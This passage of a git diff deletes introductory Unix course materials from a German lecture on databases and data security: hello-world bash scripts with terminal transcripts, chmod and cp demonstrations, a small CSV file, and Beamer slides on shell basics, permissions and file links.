f6433dc1b4bcd99ce95c1e678965d7e1feedf68a..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-02.txt +++ /dev/null @@ -1,13 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat hello-02.sh -#!/bin/bash - -echo "Hello, $1!" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-02.sh -Hello, ! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-02.sh Peter -Hello, Peter! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-02.sh Peter Gerwinski -Hello, Peter! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-02.sh "Peter Gerwinski" -Hello, Peter Gerwinski! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> diff --git a/20231018.p0/hello-03.sh b/20231018.p0/hello-03.sh deleted file mode 100755 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/20231018.p0/hello-03.txt b/20231018.p0/hello-03.txt deleted file mode 100644 index 3b180b5a9ebc65af567ff58f9d417f624fdb7e97..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-03.txt +++ /dev/null @@ -1,7 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat hello-03.sh -#!/bin/bash - -echo "Hello, $0!" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-03.sh "Schön hier." -Hello, ./hello-03.sh! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> diff --git a/20231018.p0/hello-04.sh b/20231018.p0/hello-04.sh deleted file mode 100755 index 62673d7a65595c1135ebebf41f9a7c355c1cf192..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-04.sh +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/bash - -if [ "$1" = "en" ]; then - echo "Hello, world!" -elif [ "$1" = "de" ]; then - echo "Hallo, Welt!" -else - echo "Usage: $0 <language>" -fi diff --git a/20231018.p0/hello-04.txt b/20231018.p0/hello-04.txt deleted file mode 100644 index b71b3846e0aefb8a3fbfeae1bbfc37e9b08bd1b1..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-04.txt +++ /dev/null @@ -1,18 +0,0 @@ -"hello-04.sh" 9L, 148B geschrieben - -#!/bin/bash - -if [ "$1" = "en" ]; then - echo "Hello, world!" -elif [ "$1" = "de" ]; then - echo "Hallo, Welt!" -else - echo "Usage: $0 <language>" -fi -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-04.sh -Usage: ./hello-04.sh <language> -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-04.sh de -Hallo, Welt! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-04.sh en -Hello, world! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> diff --git a/20231018.p0/tiere.csv b/20231018.p0/tiere.csv deleted file mode 100644 index 2e1b7d5f320f5ca544876297047f585b184d6c36..0000000000000000000000000000000000000000 --- a/20231018.p0/tiere.csv +++ /dev/null @@ -1,5 +0,0 @@ -"ID";"Name";"Tierart" -"01";"Wuffi";"Kater" -"02";"Maunzi";"Dt. Schäferhund" -"03";"Mausi";"Afr. Elefant" -"04";"Gargantua";"Spitzmaus" diff --git a/20231019/Zeichen_123.pdf b/20231019/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231019/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231019/chmod-01.txt b/20231019/chmod-01.txt deleted file mode 100644 index 153622afa02af19ac8b04a6980fb80ee1faf091a..0000000000000000000000000000000000000000 --- a/20231019/chmod-01.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l ls --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> chmod o-x ls -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l ls --rwxr-xr-- 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> chmod o+x ls -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l ls --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/chmod-02.txt b/20231019/chmod-02.txt deleted file mode 100644 index bb5b3364ed0f7c48c59e66eeea0e3c1cde202252..0000000000000000000000000000000000000000 --- a/20231019/chmod-02.txt +++ /dev/null @@ -1,17 +0,0 @@ --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls --rw-r--r-- 1 peter peter 2649 19. Okt 11:27 path-01.txt --rw-r--r-- 1 peter peter 1217 19. Okt 11:33 path-02.txt --rw-r--r-- 1 peter peter 4511 19. Okt 11:42 cp-01.txt --rw-r--r-- 1 peter peter 841 19. Okt 11:44 mv-rm-01.txt --rw-r--r-- 1 peter peter 446 19. Okt 11:50 chmod-01.txt --rw-r--r-- 1 peter peter 712 19. Okt 11:52 wireshark-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> chmod -x ls -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l ls --rw-r--r-- 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> chmod 750 ls -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l ls --rwxr-x--- 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> chmod 755 ls -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l ls --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/chmod-03.txt b/20231019/chmod-03.txt deleted file mode 100644 index 23394ab45fd28a7821bed4a7659402b4090425de..0000000000000000000000000000000000000000 --- a/20231019/chmod-03.txt +++ /dev/null @@ -1,10 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l hello-02 --rw-r--r-- 1 peter peter 21 19. Okt 12:06 hello-02 -cassini/home/peter/bo/2023ws/dbs/20231019> cat hello-02 -echo "Hello, world!" -cassini/home/peter/bo/2023ws/dbs/20231019> chmod +x hello-02 -cassini/home/peter/bo/2023ws/dbs/20231019> ./hello-02 -Hello, world! -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l hello-02 --rwxr-xr-x 1 peter peter 21 19. Okt 12:06 hello-02 -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/cp-01.txt b/20231019/cp-01.txt deleted file mode 100644 index 6416433fbd4a14ca6dac2074a29fbfc301fced3e..0000000000000000000000000000000000000000 --- a/20231019/cp-01.txt +++ /dev/null @@ -1,69 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l -insgesamt 300 --rw-r--r-- 1 peter peter 6669 19. Okt 09:40 dbs-20231019.aux --rw-r--r-- 1 peter peter 54831 19. Okt 09:40 dbs-20231019.log --rw-r--r-- 1 peter peter 4100 19. Okt 09:40 dbs-20231019.nav --rw-r--r-- 1 peter peter 1051 19. Okt 09:40 dbs-20231019.out --rw-r--r-- 1 peter peter 158278 19. Okt 09:40 dbs-20231019.pdf --rw-r--r-- 1 peter peter 0 19. Okt 09:40 dbs-20231019.snm --rw-r--r-- 1 peter peter 24860 19. Okt 09:40 dbs-20231019.tex --rw-r--r-- 1 peter peter 450 19. Okt 09:40 dbs-20231019.toc --rw-r--r-- 1 peter peter 1494 19. Okt 09:40 dbs-20231019.vrb --rwxr-xr-x 1 peter peter 15952 19. Okt 11:18 hello-01 --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c -lrwxrwxrwx 1 peter peter 48 7. Okt 2018 logo-hochschule-bochum-cvh-text-v2.pdf -> ../common/logo-hochschule-bochum-cvh-text-v2.pdf -lrwxrwxrwx 1 peter peter 36 5. Okt 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls --rw-r--r-- 1 peter peter 2649 19. Okt 11:27 path-01.txt --rw-r--r-- 1 peter peter 1217 19. Okt 11:33 path-02.txt -lrwxrwxrwx 1 peter peter 22 5. Okt 2016 pgslides.sty -> ../common/pgslides.sty -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 Zeichen_123.pdf -> ../common/Zeichen_123.pdf -cassini/home/peter/bo/2023ws/dbs/20231019> cp hello-01.c hello-02.c -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l -insgesamt 304 --rw-r--r-- 1 peter peter 6669 19. Okt 09:40 dbs-20231019.aux --rw-r--r-- 1 peter peter 54831 19. Okt 09:40 dbs-20231019.log --rw-r--r-- 1 peter peter 4100 19. Okt 09:40 dbs-20231019.nav --rw-r--r-- 1 peter peter 1051 19. Okt 09:40 dbs-20231019.out --rw-r--r-- 1 peter peter 158278 19. Okt 09:40 dbs-20231019.pdf --rw-r--r-- 1 peter peter 0 19. Okt 09:40 dbs-20231019.snm --rw-r--r-- 1 peter peter 24860 19. Okt 09:40 dbs-20231019.tex --rw-r--r-- 1 peter peter 450 19. Okt 09:40 dbs-20231019.toc --rw-r--r-- 1 peter peter 1494 19. Okt 09:40 dbs-20231019.vrb --rwxr-xr-x 1 peter peter 15952 19. Okt 11:18 hello-01 --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c --rw-r--r-- 1 peter peter 82 19. Okt 11:40 hello-02.c -lrwxrwxrwx 1 peter peter 48 7. Okt 2018 logo-hochschule-bochum-cvh-text-v2.pdf -> ../common/logo-hochschule-bochum-cvh-text-v2.pdf -lrwxrwxrwx 1 peter peter 36 5. Okt 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls --rw-r--r-- 1 peter peter 2649 19. Okt 11:27 path-01.txt --rw-r--r-- 1 peter peter 1217 19. Okt 11:33 path-02.txt -lrwxrwxrwx 1 peter peter 22 5. Okt 2016 pgslides.sty -> ../common/pgslides.sty -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 Zeichen_123.pdf -> ../common/Zeichen_123.pdf -cassini/home/peter/bo/2023ws/dbs/20231019> cp -p hello-01.c hello-02.c -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l -insgesamt 304 --rw-r--r-- 1 peter peter 6669 19. Okt 09:40 dbs-20231019.aux --rw-r--r-- 1 peter peter 54831 19. Okt 09:40 dbs-20231019.log --rw-r--r-- 1 peter peter 4100 19. Okt 09:40 dbs-20231019.nav --rw-r--r-- 1 peter peter 1051 19. Okt 09:40 dbs-20231019.out --rw-r--r-- 1 peter peter 158278 19. Okt 09:40 dbs-20231019.pdf --rw-r--r-- 1 peter peter 0 19. Okt 09:40 dbs-20231019.snm --rw-r--r-- 1 peter peter 24860 19. Okt 09:40 dbs-20231019.tex --rw-r--r-- 1 peter peter 450 19. Okt 09:40 dbs-20231019.toc --rw-r--r-- 1 peter peter 1494 19. Okt 09:40 dbs-20231019.vrb --rwxr-xr-x 1 peter peter 15952 19. Okt 11:18 hello-01 --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-02.c -lrwxrwxrwx 1 peter peter 48 7. Okt 2018 logo-hochschule-bochum-cvh-text-v2.pdf -> ../common/logo-hochschule-bochum-cvh-text-v2.pdf -lrwxrwxrwx 1 peter peter 36 5. Okt 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls --rw-r--r-- 1 peter peter 2649 19. Okt 11:27 path-01.txt --rw-r--r-- 1 peter peter 1217 19. Okt 11:33 path-02.txt -lrwxrwxrwx 1 peter peter 22 5. Okt 2016 pgslides.sty -> ../common/pgslides.sty -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 Zeichen_123.pdf -> ../common/Zeichen_123.pdf -cassini/home/peter/bo/2023ws/dbs/20231019> cp -p -i hello-01.c hello-02.c -cp: 'hello-02.c' überschreiben? n -cassini/home/peter/bo/2023ws/dbs/20231019> cp -pi hello-01.c hello-02.c -cp: 'hello-02.c' überschreiben? y -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/dbs-20231019.pdf b/20231019/dbs-20231019.pdf deleted file mode 100644 index f84bbd5c27d8ea2809154dd09af93c8448684426..0000000000000000000000000000000000000000 Binary files a/20231019/dbs-20231019.pdf and /dev/null differ diff --git a/20231019/dbs-20231019.tex b/20231019/dbs-20231019.tex deleted file mode 100644 index f2a6a6084fd057e3781a77565dcb5215b02b2e9d..0000000000000000000000000000000000000000 --- a/20231019/dbs-20231019.tex +++ /dev/null @@ -1,984 +0,0 @@ -% dbs-20231019.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Unix-Kommandozeile: eine Programmiersprache - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{tikz} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{19.\ Oktober 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \color{medgreen} - \item[2.2] Die Kommandozeile: Grundlagen - \color{orange} - \item[2.3] Dateisysteme - \color{red} - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\section{Kurzeinführung Unix} - -\subsection{Grundkonzepte} - -\begin{frame} - - \begin{minipage}[b]{6.5cm} - \showsection - \vspace{-\medskipamount} - \showsubsection - \end{minipage} - - \begin{description} - \addtolength{\leftskip}{-1cm} - \item[1965] - Vorgänger: Multics (Multiplexed Information and Computing Service)\\ - "`überladen"' - \item[1970] - Unix: Einfachheit als Grundkonzept - \item[1972] - Umstellung auf neu entwickelte Programmiersprache C - \item[1975] - AT\&T: Unix inkl.\ Quelltext für Universitäten - \item[1977] - Berkeley Software Distribution (BSD) - \item[1983] - GNU-Projekt - \item[1987] - Minix - \item[1991] - Linux - \item[1993] - FreeBSD, NetBSD - \item[1994] - OpenBSD - \item[2000] - Darwin (Mac OS X, BSD-basiert) - \item[2008] - Android (Linux-basiert) - \end{description} - -\end{frame} - -\begin{frame}[fragile] - - \begin{minipage}[b]{6.5cm} - \showsection - \vspace{-\medskipamount} - \showsubsection - - Unix und C: Einfachheit als Grundkonzept -% \vspace{-\bigskipamount} - \begin{itemize} - \item - Vermeiden von Ausnahmen - \item[\color{lightgray}$\bullet$] - \color{lightgray}Baukastensystem - \end{itemize} - \end{minipage}\hspace*{0.5cm}% - \begin{minipage}[b]{5cm} - \small - C: Hauptprogramm\\ - = "`normale"' Funktion - - \medskip - - \begin{lstlisting}[gobble=6] - int main (int argc, char **argv) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \vspace{-\bigskipamount} - \end{minipage} - - \bigskip - \bigskip - - Unix: übergeordnetes Verzeichnis = "`normales"' Verzeichnis - - \medskip - - \begin{lstlisting}[style=terminal] - cassini/home/peter/foo> ¡ls -la¿ - insgesamt 24 - drwxr-xr-x 2 peter peter 4096 Okt 6 13:30 . - drwxr-xr-x 172 peter peter 20480 Okt 6 13:30 .. - cassini/home/peter/foo> ¡cd ..¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \begin{minipage}[b]{6.5cm} - \showsection - \vspace{-\medskipamount} - \showsubsection - - Unix und C: Einfachheit als Grundkonzept -% \vspace{-\bigskipamount} - \begin{itemize} - \item - Vermeiden von Ausnahmen - \item - Baukastensystem - \end{itemize} - \end{minipage}% - \begin{minipage}[b]{5.5cm} - \small - C: Bibliotheken - - \smallskip - - z.\,B.: \lstinline{printf()} = "`normale"' Funktion\\ - aus eine Bibliothek (\file{libc}) - \end{minipage} - - \bigskip - \bigskip - - Unix: Programme arbeiten zusammen - - \medskip - - \begingroup\small - - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo> ¡find . -name "*klausur*.tex" \ - | xargs grep -l "PBM-Datei"¿ - ./2014ws/ainf/20150130.0/ainf-klausur-20150130.tex - ./2016ws/hp/20170920.0/klausur.tex - ./2016ws/hp/20170206.0/klausur.tex - ./2011ws/rarch/20120322.0/rarch-klausur-20120322.tex - ./2012ws/klausuren-gerwinski/rarch-klausur-20120322.tex - ./2013ws/ainf/20140918.0/ainf-klausur-20140918.tex - ./2017ws/hp/20180213.k1/klausur.tex - ./2017ws/hp/20180205/klausur.tex - ./2015ws/ainf/20160913/ainf-klausur-20160913.tex - \end{lstlisting} - - \endgroup - -\end{frame} - -\subsection{Die Kommandozeile: Grundlagen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Programm aufrufen: Namen eingeben, z.\,B.: \lstinline[style=cmd]{ls} - \item - Optionen: \lstinline[style=cmd]{ls -l} - \item - Lange Optionen (GNU-Konvention): \lstinline[style=cmd]{ls --help} - \medskip - \item - Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} - \item - (String-)Variable setzen: \lstinline[style=cmd]{FOO=bar} - \item - Variable abrufen: \lstinline[style=cmd]{echo $FOO} - \end{itemize} - -% \pause - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo> ¡FOO=ls¿ - cassini/home/peter/bo> ¡echo $FOO¿ - ls - cassini/home/peter/bo> ¡$FOO¿ - 2011ws 2012ws 2013ws doc misc projekte - 2012ss 2013ss briefe material orga - cassini/home/peter/bo> - \end{lstlisting} - -\end{frame} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Befehl zurückholen: Pfeiltasten $\uparrow$, $\downarrow$ - \item - Befehl bearbeiten: Pfeiltasten $\leftarrow$, $\rightarrow$ usw. - \item - Befehl vervollständigen: TAB - \item - Befehl rückwärts suchen: Ctrl+R - \item - Bildschirm löschen: Ctrl+L - \item - Befehl abbrechen: Ctrl+C - \bigskip -% \pause - \item - Hilfe-Option: \lstinline[style=cmd]{ls --help} - \item - Unix-Handbuch -- \emph{manual\/}: \lstinline[style=cmd]{man ls}\\ - (Beenden mit \lstinline[style=cmd]{q}) - \end{itemize} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \color{medgreen} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \color{medgreen} - \item[2.1] Grundkonzepte - \color{orange} - \item[2.2] Die Kommandozeile: Grundlagen - \color{red} - \item[2.3] Dateisysteme - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Verzeichnisse für Programme: \lstinline[style=cmd]{echo $PATH} - \item - Programm in explizitem Verzeichnis aufrufen: \lstinline[style=cmd]{/bin/ls -l} - \item - Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello} - \bigskip - - \addtolength{\leftskip}{1cm} - \item[MS-DOS:] - Ausführbare Programme werden gefunden,\\ - wenn sie im \lstinline[style=terminal]{PATH} stehen\\ - \emph{oder\/} sich im aktuellen Verzeichnis befinden. - \smallskip - \item[Unix:] - Ausführbare Programme werden gefunden,\\ - wenn sie im \lstinline[style=terminal]{PATH} stehen. - - \smallskip - \textarrow\ Vermeiden von Ausnahmen - -% \pause - \smallskip - Das aktuelle Verzeichnis (\lstinline[style=terminal]{.}) - \emph{kann\/} im \lstinline[style=terminal]{PATH} stehen,\\ - muß dies aber nicht\only<2>{ --\\ - und sollte es aus Sicherheitsgründen auch nicht}. - - \end{itemize} - -\end{frame} - -\subsection{Dateisysteme} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Dateien listen: \lstinline[style=cmd]{ls}\\ - langes Listenformat: \lstinline[style=cmd]{ls -l}\\ - rückwärts nach Zeit sortiert: \lstinline[style=cmd]{ls -lrt} - \item - Datei ausgeben: \lstinline[style=cmd]{cat hello.c} - \item - Datei anzeigen: \lstinline[style=cmd]{less hello.c} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Arbeitsverzeichnis anzeigen: \lstinline[style=cmd]{pwd}\\ - \item - Arbeitsverzeichnis wechseln: \lstinline[style=cmd]{cd script}\\ - (\emph{kein\/} Programm, sondern Shell-Befehl) - \item - übergeordnetes Verzeichnis: \lstinline[style=cmd]{cd ..} - \item - eigenes \newterm{Home-\/}Verzeichnis: \lstinline[style=cmd]{cd} - \item - Wurzelverzeichnis: \lstinline[style=cmd]{cd /} - \item - wieder zurück: \lstinline[style=cmd]{cd -} - \end{itemize} - -% \pause - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿ - cassini/usr/bin> ¡cd ../lib¿ - cassini/usr/lib> ¡cd¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Dateien kopieren (\emph{copy\/}): \lstinline[style=cmd]{cp} - \item - Dateien verschieben/umbenennen (\emph{move\/}): \lstinline[style=cmd]{mv} - \item - Dateien löschen (\emph{remove\/}): \lstinline[style=cmd]{rm} - \end{itemize} - - \begin{lstlisting}[style=terminal,xleftmargin=-3pt] - cassini/home/peter> ¡cp -p foo/test.txt¿ - cp: missing destination file operand after `foo/test.txt' - Try `cp --help' for more information. - cassini/home/peter> ¡cp -p foo/test.txt .¿ - cassini/home/peter> ¡mv test.txt bla.txt¿ - cassini/home/peter> ¡cat bla.txt¿ - Dies ist ein Test. - cassini/home/peter> ¡rm bla.txt¿ - cassini/home/peter> - \end{lstlisting} - - \medskip - - Aktuelles Verzeichnis: \lstinline[style=cmd]{.} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{Zugriffsrechte} - \end{itemize} - - \begingroup -% \small - \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191009> ¡ls -l¿ - ... - -rw-r--r-- 1 peter peter 24523 Okt 8 21:47 es-20191009.tex - \end{lstlisting} - \endgroup - \begin{onlyenv}<2> - \begin{picture}(0,1) - \color{red} - \put(0.3,0){\tikz{\draw[-latex,red](0,0)--(0,1); - \draw[-latex,red](0,0)--(2.5,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{Benutzer (u -- \emph{user\/}) darf lesen und schreiben}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<3> - \begin{picture}(0,1) - \color{red} - \put(0.84,0){\tikz{\draw[-latex,red](0,0)--(0,1); - \draw[-latex,red](0,0)--(3.2,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{Gruppe (g -- \emph{group\/}) darf lesen}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<4> - \begin{picture}(0,1) - \color{red} - \put(1.47,0){\tikz{\draw[-latex,red](0,0)--(0,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{alle anderen (o -- \emph{other\/}) dürfen lesen}} - \end{picture} - \end{onlyenv} - - \medskip - \pause[5] - \begin{itemize} - \item - Zugriffsrechte ändern:\\ - \lstinline[style=cmd]{chmod o-r es-20191009.tex} -- Lesezugriff entziehen\\ - \lstinline[style=cmd]{chmod g+w es-20191009.tex} -- Schreibzugriff gewähren\\ - \lstinline[style=cmd]{chmod 640 es-20191009.tex} -- - auf \lstinline[style=terminal]{-}% - \lstinline[style=terminal]{rw-}% - \lstinline[style=terminal]{r--}% - \lstinline[style=terminal]{---} setzen - \end{itemize} - \pause - \begin{picture}(0,0) - \color{red} - \put(7.22,0.50){\makebox(0,0)[tl]{% - \small - \begin{math}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 6}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 4}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 0} - \end{math}}} - \end{picture} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{ausführbare\/} Dateien - \end{itemize} - - \begingroup -% \small - \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡cat test2.txt¿ - ls -l - cassini/home/peter/bo/2019ws/es/20191002> ¡chmod +x test2.txt¿ - cassini/home/peter/bo/2019ws/es/20191002> ¡ls -l test2.txt¿ - -rwxr-xr-x 1 peter peter 6 Okt 2 13:43 test2.txt - cassini/home/peter/bo/2019ws/es/20191002> ¡./test2.txt¿ - insgesamt 4828 - lrwxrwxrwx 1 peter peter 18 Apr 13 2016 csa2.jpg -> ../common/csa2.jpg - -rw-r--r-- 1 peter peter 4619138 Okt 8 21:28 es-20191002.pdf - ... - \end{lstlisting} - \endgroup - -% \pause - \begin{itemize} - \item - ausführbare Textdateien: \newterm{Skripte} - -% \pause - \smallskip - hier: ausführbare Textdatei mit Shell-Befehlen\\ - (ohne spezielle Kennung): Shell-Skript - - \pause - \smallskip - Kennung: 1.\ Zeile enthält \lstinline[style=terminal]{#!} und den Interpreter,\\ - z.\,B.\ \lstinline[style=terminal]{#!/bin/bash}\\ - \end{itemize} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \color{medgreen} - \item[2.2] Die Kommandozeile: Grundlagen - \color{orange} - \item[2.3] Dateisysteme - \color{red} - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Datenträger in Verzeichnis \newterm{einhängen\/}: \lstinline[style=cmd]{mount} - \end{itemize} - - \begin{lstlisting}[style=terminal] - cassini/home/peter> ¡ls /media/usb1/¿ - cassini/home/peter> ¡mount /media/usb1¿ - cassini/home/peter> ¡ls /media/usb1/¿ - es-20191002.pdf hello.c hexapode KIS-Bericht.pdf - cassini/home/peter> ¡umount /media/usb1¿ - cassini/home/peter> ¡ls /media/usb1/¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{Symbolische Verknüpfungen -- symbolic links} - - \smallskip - - Verweis auf die eigentliche Datei\\ - \textarrow\ Wenn man die Datei löscht, zeigt der Link ins Leere. - - \smallskip - - Verknüpfung anlegen: \lstinline[style=cmd]{ln -s datei link}\\ - (Richtung: wie bei \lstinline[style=cmd]{cp}) - - \smallskip - - Beispiel: \lstinline[style=cmd]{ln -s ../common/GNU-GPL-3 gpl.txt} - \pause - \medskip - \item - \newterm{Harte Verknüpfungen -- hard links} - - \smallskip - - Dieselben Daten auf dem Datenträger\\ - sind unter mehreren Namen verfügbar.\\ - \textarrow\ Wenn man einen löscht, 